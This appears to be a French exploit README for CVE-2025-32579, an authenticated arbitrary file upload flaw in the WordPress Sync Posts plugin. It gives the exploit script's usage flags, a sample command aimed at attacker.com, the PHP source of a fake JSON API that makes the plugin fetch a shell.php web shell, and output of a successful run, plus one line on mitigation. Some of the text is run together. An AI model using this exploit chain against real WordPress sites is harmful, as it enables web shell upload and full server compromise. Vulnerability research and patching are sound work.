
WordPress Sync Posts Plugin <= 1.0 est vulnérable à un téléchargement de fichier arbitraire
📦 Affecte : Sync Posts <= 1.0
🧨 Score CVSS : 9.9 CRITIQUE
📁 Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Le plugin WordPress Sync Posts de SoftClever Limited est vulnérable à une vulnérabilité de téléchargement de fichier sans restriction qui permet à des attaquants authentifiés de télécharger et d'exécuter des fichiers PHP arbitraires (tels que des shells web) sur le serveur.
website_url qui renvoie des posts JSON.wp-content/uploads.Le script d'exploitation automatise la chaîne complète :
<img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">website_url malveillante à admin-ajax.php?action=sync_posts/uploads/usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL
Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://target.com/wordpress)
-un, --username USERNAME
Username to login
-p, --password PASSWORD
Password to login
-ws, --website WEBSITE
URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
-shell, --webshell WEBSHELL
Web shell URL used inside the fake API (can be a test image)
python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php
| Drapeau | Description |
|---|---|
-u, --url | URL WordPress cible |
-un, --username | Nom d'utilisateur WordPress (admin) |
-p, --password | Mot de passe WordPress |
-ws, --website | URL du fichier PHP malveillant renvoyant un faux JSON de post |
-shell, --webshell | Le fichier shell réel à injecter via `` |
Vous pouvez également utiliser une image fictive au lieu d'un vrai shell pour les tests :
--webshell https://via.placeholder.com/1x1.jpg
Voici la réponse renvoyée par Khaled_alenazi.php :
<?php
header('Content-Type: application/json');
echo json_encode([
[
"id" => 1,
"title" => ["rendered" => "Nxploited"],
"content" => [
"rendered" => "<img src="http://attacker.com/shell.php">"
]
]
]);
?>
[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
"success": true,
"data": {
"message": "Posts imported successfully",
...
}
}
shell.phpwp-content/uploads/2025/04/shell.phpwebsite_url aux domaines internes ou aux hôtes autorisésCVE: CVE-2025-32579
Exploit par Nxploited (Khaled Alenazi)